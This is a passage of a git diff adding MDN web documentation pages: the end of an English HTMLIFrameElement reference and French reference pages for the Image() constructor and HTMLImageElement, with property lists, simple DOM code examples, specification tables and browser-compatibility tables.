+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "the-iframe-element.html#the-iframe-element", "HTMLIFrameElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>The following property has been added: <code>allowFullscreen</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "embedded-content-0.html#the-iframe-element", "HTMLIFrameElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>The following properties are now obsolete: <code>scrolling</code>, <code>marginWidth</code>, <code>marginHeight</code>, <code>longDesc</code>, <code>frameBorder</code>, and <code>align</code>.<br>
+    The following properties have been added: <code>srcdoc</code>, <code>sandbox</code>, <code>seamless</code>, and <code>contentWindow</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-50708718', 'HTMLIFrameElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>The <code>contentDocument</code> property has been added.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-50708718', 'HTMLIFrameElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>srcdoc</code></td>
+   <td>4</td>
+   <td>{{CompatGeckoDesktop(25)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>sandbox</code></td>
+   <td>4</td>
+   <td>{{CompatGeckoDesktop(17)}} [1]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>seamless</code> {{experimental_inline}}</td>
+   <td>4</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>contentDocument</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>8.0 (for older version use <code>HTMLIFrameElement.contentWindow.document</code> instead)</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>contentWindow</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>allowFullScreen</code> {{experimental_inline}}</td>
+   <td>17 {{property_prefix("-webkit")}}<br>
+    <em>Daily test builds only</em></td>
+   <td>{{compatGeckoDesktop(9.0)}} {{property_prefix("-moz")}}<br>
+    {{compatGeckoDesktop(18.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>srcdoc</code></td>
+   <td>4</td>
+   <td>{{CompatGeckoMobile(25)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>sandbox</code></td>
+   <td>4</td>
+   <td>{{CompatGeckoMobile(17)}} [1]</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>seamless</code> {{experimental_inline}}</td>
+   <td>4</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>contentDocument</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>contentWindow</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>allowFullScreen</code> {{experimental_inline}}</td>
+   <td>17 {{property_prefix("-webkit")}}<br>
+    <em>Daily test builds only</em></td>
+   <td>{{compatGeckoMobile(9.0)}} {{property_prefix("-moz")}}<br>
+    {{compatGeckoMobile(18.0)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Previously, the type of <code>sandbox</code> was a {{domxref("DOMString")}} instead of a {{domxref("DOMSettableTokenList")}}. This has been fixed with <a href="/en-US/Firefox/Releases/29/Site_Compatibility">Gecko 29.0</a> {{geckoRelease(29)}}) ({{bug(845067)}}). Other browsers may still implement the property as <code>DOMString</code> since it was a late change in the specification.</p>
+
+<h3 id="Firefox_OS_notes">Firefox OS notes</h3>
+
+<p>Firefox OS extend the <code>HTMLIFrameElement</code> interface to support browser iframes. Those extra methods are made for <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Security/Application_security" title="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Security/Application_security">privileged applications</a> which want to implement a browser like application for Firefox OS devices. Not that in that context, the <code>HTMLIFrameElement</code> also inherit methods from the {{domxref("EventTarget")}} interface. To learn how to implement such applications, see the <a href="/en-US/docs/WebAPI/Browser" title="/en-US/docs/WebAPI/Browser">Using the Browser API</a> article.</p>
+
+<dl>
+ <dt>{{domxref("HTMLIFrameElement.setVisible()","HTMLIFrameElement.setVisible(visible)")}}</dt>
+ <dd>Allows the parent to explicitly change the visibility state of the browser iframes.</dd>
+ <dt>{{domxref("HTMLIFrameElement.getVisible()","HTMLIFrameElement.getVisible()")}}</dt>
+ <dd>Returns the current visibility state of the browser iframe. Returns a {{domxref("DOMRequest")}}.</dd>
+ <dt>{{domxref("HTMLIFrameElement.sendMouseEvent()","HTMLIFrameElement.sendMouseEvent(type, x, y, button, clickCount, modifiers)")}}</dt>
+ <dd>Send a mouse event to the browser iframe.</dd>
+ <dt>{{domxref("HTMLIFrameElement.sendTouchEvent()","HTMLIFrameElement.sendTouchEvent(type, identifiers, touchesX, touchesY,radiisX, radiisY, rotationAngles, forces,count, modifiers)")}}</dt>
+ <dd>Send a touch event to the browser iframe.</dd>
+ <dt>{{domxref("HTMLIFrameElement.goBack()","HTMLIFrameElement.goBack()")}}</dt>
+ <dd>Navigate the browser iframe back.</dd>
+ <dt>{{domxref("HTMLIFrameElement.goForward()","HTMLIFrameElement.goForward()")}}</dt>
+ <dd>Navigate the browser iframe forward.</dd>
+ <dt>{{domxref("HTMLIFrameElement.reload()","HTMLIFrameElement.reload()")}}</dt>
+ <dd>Reload the browser iframe.</dd>
+ <dt>{{domxref("HTMLIFrameElement.stop()","HTMLIFrameElement.stop()")}}</dt>
+ <dd>Stop loading the browser iframe content.</dd>
+ <dt>{{domxref("HTMLIFrameElement.purgeHistory()","HTMLIFrameElement.purgeHistory()")}}</dt>
+ <dd>Allows to remove the all browsing history of the browser iframe.</dd>
+ <dt>{{domxref("HTMLIFrameElement.getScreenshot()","HTMLIFrameElement.getScreenshot(maxWidth, maxHeight)")}}</dt>
+ <dd>Allows to take a screenshot of the browser iframe's content, scaled to fit within <code>maxWidth</code> and <code>maxHeight</code> pixels. Returns a {{domxref("DOMRequest")}}.</dd>
+ <dt>{{domxref("HTMLIFrameElement.addNextPaintListener()","HTMLIFrameElement.addNextPaintListener()")}}</dt>
+ <dd>Add a listener to recieve an event the first time the browser iframe is ready to paint (This listener is sent an event after the first {{event("MozAfterPaint")}} event is dispacted in the iframe.)</dd>
+ <dt>{{domxref("HTMLIFrameElement.removeNextPaintListener()","HTMLIFrameElement.removeNextPaintListener()")}}</dt>
+ <dd>Remove the listener added by the previous function.</dd>
+ <dt>{{domxref("HTMLIFrameElement.getCanGoBack()","HTMLIFrameElement.getCanGoBack()")}}</dt>
+ <dd>Returns a {{domxref("DOMRequest")}} which <code>result</code> is a boolean indicating wether the browser iframe can be navigate backward.</dd>
+ <dt>{{domxref("HTMLIFrameElement.getCanGoForward()","HTMLIFrameElement.getCanGoForward()")}}</dt>
+ <dd>Returns a {{domxref("DOMRequest")}} which <code>result</code> is a boolean indicating wether the browser iframe can be navigate forward.</dd>
+</dl>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>The HTML element implementing this interface: {{HTMLElement("iframe")}}</li>
+</ul>
diff --git a/files/fr/web/api/htmlimageelement/image/index.html b/files/fr/web/api/htmlimageelement/image/index.html
new file mode 100644
index 0000000000..19fc326df7
--- /dev/null
+++ b/files/fr/web/api/htmlimageelement/image/index.html
@@ -0,0 +1,122 @@
+---
+title: Image()
+slug: Web/API/HTMLImageElement/Image
+tags:
+  - API
+  - Constructeur
+  - DOM
+translation_of: Web/API/HTMLImageElement/Image
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<p id="Image_Element_constructor">Le constructeur <strong><code>Image()</code></strong> crée une nouvelle instance {{domxref("HTMLImageElement")}} .</p>
+
+<p>C'est fonctionnellement équivalent à {{domxref("Document.createElement()", "document.createElement('img')")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Image(width, height)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt>width</dt>
+ <dd>La largeur de l'image (c'est-à-dire, la valeur pour l'attribut {{htmlattrxref("width", "img")}})</dd>
+ <dt>height</dt>
+ <dd>La hauteur de l'image (c'est-à-dire, la valeur pour l'attribut {{htmlattrxref("height", "img")}}).</dd>
+</dl>
+
+<h2 id="Exemples"><span style="line-height: 1.572;">Exemples</span></h2>
+
+<pre class="brush: js">var myImage = new Image(100, 200);
+myImage.src = 'picture.jpg';
+console.log(myImage);</pre>
+
+<div><span id="result_box" lang="fr"><span>Cela équivaudrait à définir la balise HTML suivante dans le</span></span> {{htmlelement("body")}} (<em>corps</em>) :</div>
+
+<pre class="brush: html">&lt;img width="100" height="200" src="picture.jpg"&gt;
+</pre>
+
+<div> </div>
+
+<div class="note">
+<p><strong>Note </strong>: Le "bitmap" entier est chargé quelle que soit la taille spécifiée dans le constructeur. Si une taille est spécifiée dans le constructeur, elle sera reflétée dans les propriétés {{domxref("HTMLImageElement.width")}} et {{domxref("HTMLImageElement.height")}} de l'instance résultante. La largeur intrinsèque et la hauteur de l'image en pixels CSS sont reflétées à travers les propriétés {{domxref("HTMLImageElement.naturalWidth")}} et {{domxref("HTMLImageElement.naturalHeight")}}. Si aucune taille n'est spécifiée dans le constructeur, les deux paires de ces propriétés auront les mêmes valeurs.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<div>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "embedded-content.html#dom-image", "Image()")}}</td>
+   <td>{{spec2("HTML WHATWG")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+</div>
+
+<div>
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{compatversionunknown}}</td>
+   <td>{{compatversionunknown}}</td>
+   <td>{{compatversionunknown}}</td>
+   <td>{{compatversionunknown}}</td>
+   <td>{{compatversionunknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{compatversionunknown}}</td>
+   <td>{{compatversionunknown}}</td>
+   <td>{{compatversionunknown}}</td>
+   <td>{{compatversionunknown}}</td>
+   <td>{{compatversionunknown}}</td>
+   <td>{{compatversionunknown}}</td>
+   <td>{{compatversionunknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p> </p>
+</div>
+
+<div> </div>
diff --git a/files/fr/web/api/htmlimageelement/index.html b/files/fr/web/api/htmlimageelement/index.html
new file mode 100644
index 0000000000..f531958bf3
--- /dev/null
+++ b/files/fr/web/api/htmlimageelement/index.html
@@ -0,0 +1,401 @@
+---
+title: HTMLImageElement
+slug: Web/API/HTMLImageElement
+translation_of: Web/API/HTMLImageElement
+---
+<p>{{APIRef("HTML DOM")}}</p>
+
+<p>L'interface  <strong><code>HTMLImageElement</code></strong> fournit des propriétés et des méthodes spéciales pour manipuler la mise en page et la présentation des éléments {{HTMLElement("img")}} .</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em><span id="result_box" lang="fr"><span>Hérite les propriétés de son parent, {{domxref ("HTMLElement")}}</span></span></em></p>
+
+<dl>
+ <dt>{{domxref("HTMLImageElement.align")}} {{obsolete_inline}}</dt>
+ <dd>Est une {{domxref("DOMString")}} <em>(chaîne de caractères)</em> qui indique l'alignement de l'image en respectant le contexte environnant. Les valeurs possibles sont <code>"left"</code><em>(gauche)</em>, <code>"right"</code><em>(droite)</em>, <code>"justify"</code><em>(justifié)</em>, et <code>"center"</code><em>(centré) .</em></dd>
+ <dt>{{domxref("HTMLImageElement.alt")}}</dt>
+ <dd>Est une {{domxref("DOMString")}} <em>(chaîne de caractères) </em>qui reflète les attributs HTML {{htmlattrxref("alt", "img")}} , ceux-ci indiquant le recul du contexte de l'image.</dd>
+ <dt>{{domxref("HTMLImageElement.border")}} {{obsolete_inline}}</dt>
+ <dd>Est une {{domxref("DOMString")}} <em>(chaîne de caractères) </em>qui est responsable de la largeur de la bordure entourant l'image. Il est maintenant déprécié et la propriété CSS {{cssxref("border")}} est utilisée à la place.</dd>
+ <dt>{{domxref("HTMLImageElement.complete")}} {{readonlyInline}}</dt>
+ <dd>Retourne un {{domxref("Boolean")}} <em>(booléen)</em> qui est <code>true</code> <em>(vrai)</em> si le navigateur a fini de chercher l'image, que ce soit avec succès ou non. Il affiche aussi "true" si l'image n'a pas de valeur {{domxref("HTMLImageElement.src", "src")}} .</dd>
+ <dt>{{domxref("HTMLImageElement.crossOrigin")}}</dt>
+ <dd>Est une {{domxref("DOMString")}} <em>(chaîne de caractères) </em> représentant le paramètre CORS défini pour cet élément image. Voir <a href="https://developer.mozilla.org/fr/docs/Web/HTML/Reglages_des_attributs_CORS">Attributs de règlage du CORS</a> pour plus de détails.</dd>
+ <dt>{{domxref("HTMLImageElement.currentSrc")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Retourne une {{domxref("DOMString")}} <em>(chaîne de caractères)</em> représentant l'URL de l'image courante affichée (qui peut changer, par exemple en réponse à une requête multimédia).</dd>
+ <dt>{{domxref("HTMLImageElement.height")}}</dt>
+ <dd>Est un <code>unsigned long</code> <em>(non signé long)</em> qui reflète l'attibut HTML {{htmlattrxref("height", "img")}} indiquant la hauteur du rendu de l'image en pixels CSS.</dd>
+ <dt>{{domxref("HTMLImageElement.hspace")}} {{obsolete_inline}}</dt>
+ <dd>Est un <code>long</code> représentant l'espace de chaque côté de l'image.</dd>
+ <dt>{{domxref("HTMLImageElement.isMap")}}</dt>
+ <dd>Est un {{domxref("Boolean")}} <em>(booléen)</em> qui reflète l'attribut HTML {{htmlattrxref("ismap", "img")}} indiquant que l'image fait partie d'une carte d'image côté serveur.</dd>
+ <dt>{{domxref("HTMLImageElement.longDesc")}} {{obsolete_inline}}</dt>
+ <dd>Est une {{domxref("DOMString")}} <em>(chaîne de caractères)</em> représentant l'URL d'une longue description de l'image.</dd>
+ <dt>{{domxref("HTMLImageElement.lowSrc")}} {{obsolete_inline}}</dt>
+ <dd>Est une {{domxref("DOMString")}}  <em>(chaîne de caractères)</em> qui <span id="result_box" lang="fr"><span> fait référence à une copie de faible qualité (mais plus rapide à charger) de l'image.</span></span></dd>
+ <dt>{{domxref("HTMLImageElement.name")}} {{obsolete_inline}}</dt>
+ <dd>Est une {{domxref("DOMString")}} <em>(chaîne de caractères)</em> représentant le nom de l'élément.</dd>
+ <dt>{{domxref("HTMLImageElement.naturalHeight")}} {{readonlyInline}}</dt>
+ <dd>Retourne un <code>unsigned long</code>  représentant la hauteur intrinsèque de l'image en pixels CSS, si elle est disponible ; sinon, 0 est affiché.</dd>
+ <dt>{{domxref("HTMLImageElement.referrerPolicy")}} {{experimental_inline}}</dt>
+ <dd>Est une {{domxref("DOMString")}} <em>(chaîne de caractères)</em> qui reflète l'attribut HTML {{htmlattrxref("referrerpolicy", "img")}}  <span id="result_box" lang="fr"><span>indiquant la référence à utiliser pour récupérer l'image.</span></span></dd>
+ <dt>{{domxref("HTMLImageElement.src")}}</dt>
+ <dd>Est une {{domxref("DOMString")}} <em>(chaîne de caractères)</em> qui reflète l'attribut HTML  {{htmlattrxref("src", "img")}} contenant l'URL complète de l'image y compris l'URI de base.</dd>
+ <dt>{{domxref("HTMLImageElement.sizes")}} {{experimental_inline}}</dt>
+ <dd>Est une {{domxref("DOMString")}} <em>(chaîne de caractères)</em> reflétant l'attribut HTML {{htmlattrxref("sizes", "img")}} <em>(taille)</em>.</dd>
+ <dt>{{domxref("HTMLImageElement.srcset")}} {{experimental_inline}}</dt>
+ <dd>Est une {{domxref("DOMString")}} <em>(chaîne de caractères)</em> reflétant l'attribut HTML {{htmlattrxref("srcset", "img")}} , qui contient une liste d'images candidates, séparées par une virgule. Une image candidate est une URL suivie d'un <code>'w'</code>  avec la largeur de l'image ou d'un <code>'x'</code>  avec la densité en pixels.</dd>
+ <dt>{{domxref("HTMLImageElement.useMap")}}</dt>
+ <dd>Est une {{domxref("DOMString")}} <em>(chaîne de caractères)</em> qui reflète l'attribut HTML {{htmlattrxref("usemap", "img")}} contenant une URL partielle d'un élément "map" <em>(carte)</em>.</dd>
+ <dt>{{domxref("HTMLImageElement.vspace")}} {{obsolete_inline}}</dt>
+ <dd>Est un <code>long</code> représentant l'espace au-dessus et en-dessous de l'image.</dd>
+ <dt>{{domxref("HTMLImageElement.width")}}</dt>
+ <dd>Est un <code>unsigned long</code> qui reflète l'attribut HTML {{htmlattrxref("width", "img")}} indiquant la largeur rendue de l'image en pixels CSS.</dd>
+ <dt>{{domxref("HTMLImageElement.x")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Retourne un <code>long</code>  représentant le décalage horizontal à partir de la couche la plus proche. Cette propriété imite un comportement ancien de Netscape 4.</dd>
+ <dt>{{domxref("HTMLImageElement.y")}} {{readonlyInline}} {{experimental_inline}}</dt>
+ <dd>Retourne un <code>long</code> représentant le décalage vertical à partir de la couche la plus proche. Cette propriété imite un comportement ancien de Netscape 4.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p><em>Hérite les propriétés de son parent, {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLImageElement.Image()", "Image()")}}</dt>
+ <dd>Le constructeur d'image, comprend<span id="result_box" lang="fr"><span> deux propriétés </span></span> <code>unsigned</code>  et <code>long</code> <span lang="fr"><span>, qui sont la largeur et la hauteur de la ressource, et crée une instance de </span></span> <code>HTMLImageElement</code> <span lang="fr"><span>, non insérée dans une arborescence DOM.</span></span></dd>
+</dl>
+
+<h2 id="Erreurs">Erreurs</h2>
+
+<p>Si une erreur apparaît pendant un essai de chargement ou de rendu de l'image, et si un gestionnaire d'évènements {{htmlattrxref("onerror")}} a été configuré pour gérer les évènements {{event("error")}} , ce gestionnaire est appelé. Cela peut se produire dans un certain nombre de situations, y compris :</p>
+
+<ul>
+ <li>L'attribut  {{htmlattrxref("src", "img")}} est vide ou <code>null</code>.</li>
+ <li>L'URL spécifiée de <code>src</code>  est la même que l'URL de la page actuelle de l'utilisateur.</li>
+ <li>L'image spécifiée est corrompue de telle manière qu'elle ne peut être chargée.</li>
+ <li>Les métadonnées de l'image spécifiée sont corrompues empêchant de récupérer ses dimensions,  et aucune dimension n'est spécifiée dans les attributs de l'élément <code>&lt;img&gt;</code>.</li>
+ <li>L'image spécifiée est dans un format non supporté par l'"{{Glossary("user agent")}}".</li>
+</ul>
+
+<h2 id="Exemple">Exemple</h2>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">var</span> img1 <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Image</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">//  Constructeur HTML5</span>
+img1<span class="punctuation token">.</span>src <span class="operator token">=</span> <span class="string token">'image1.png'</span><span class="punctuation token">;</span>
+img1<span class="punctuation token">.</span>alt <span class="operator token">=</span> <span class="string token">'alt'</span><span class="punctuation token">;</span>
+document<span class="punctuation token">.</span>body<span class="punctuation token">.</span><span class="function token">appendChild</span><span class="punctuation token">(</span>img1<span class="punctuation token">)</span><span class="punctuation token">;</span></code>
+
+<span class="keyword token">var</span> img2 <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">createElement</span><span class="punctuation token">(</span><span class="string token">'img'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// utilise DOM HTMLImageElement</span>
+img2<span class="punctuation token">.</span>src <span class="operator token">=</span> <span class="string token">'image2.jpg'</span><span class="punctuation token">;</span>
+img2<span class="punctuation token">.</span>alt <span class="operator token">=</span> <span class="string token">'alt text'</span><span class="punctuation token">;</span>
+document<span class="punctuation token">.</span>body<span class="punctuation token">.</span><span class="function token">appendChild</span><span class="punctuation token">(</span>img2<span class="punctuation token">)</span><span class="punctuation token">;</span>
+
+<span class="comment token">// en utilisant la première image dans le document</span>
+<span class="function token">alert</span><span class="punctuation token">(</span>document<span class="punctuation token">.</span>images<span class="punctuation token">[</span><span class="number token">0</span><span class="punctuation token">]</span><span class="punctuation token">.</span>src<span class="punctuation token">)</span><span class="punctuation token">;</span></pre>
+
+<h2 class="brush: js line-numbers  language-js" id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Referrer Policy', '#referrer-policy-delivery-referrer-attribute', 'referrer attribute')}}</td>
+   <td>{{Spec2('Referrer Policy')}}</td>
+   <td>Ajoute la propriété <code>referrerPolicy</code> .</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSSOM View", "#excensions-to-the-htmlimageelement-interface", "Extensions to HTMLImageElement")}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td>Ajoute les propriétés <code>x</code> et<code>y</code> .</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "embedded-content.html#the-img-element", "HTMLImageElement")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Les propriétés suivantes sont ajoutées : <code>srcset</code>, <code>currentSrc</code> et <code>sizes</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "embedded-content-0.html#the-img-element", "HTMLImageElement")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Un constructeur (avec 2 paramètres facultatifs) est ajouté.<br>
+    Les propriétés suivantes sont maintenant obsolètes : <code>name</code>, <code>border</code>, <code>align</code>, <code>hspace</code>, <code>vspace</code>, et <code>longdesc</code>.<br>
+    Les propriétés suivantes sont maintenant <code>unsigned et long</code>, iau lieu de <code>long</code>: <code>height</code> et <code>width</code>.<br>
+    Les propriétés suivantes ont été ajoutées : <code>crossorigin</code>, <code>naturalWidth</code>, <code>naturalHeight</code> et <code>complete</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-17701901', 'HTMLImgElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td>La propriété <code>lowSrc</code> a été supprimée.<br>
+    La propriété est maintenant <code>long</code>, au lieu des <code>DOMString</code>: <code>height</code>, <code>width</code>, <code>hspace</code> et <code>vspace</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-17701901', 'HTMLImgElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Fonctionnalité</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>lowSrc</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>naturalWidth</code>, <code>naturalHeight</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>9</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>crossorigin</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>9</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>complete</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>5<sup>[4]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>srcset</code> {{experimental_inline}}</td>
+   <td>{{CompatChrome(34)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(32)}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>21</td>
+   <td>{{CompatSafari(7.1)}}</td>
+  </tr>
+  <tr>
+   <td><code>currentSrc </code>{{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(32)}}<sup>[2]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>sizes</code> {{experimental_inline}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(33)}}<sup>[3]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>x</code> and <code>y</code></td>
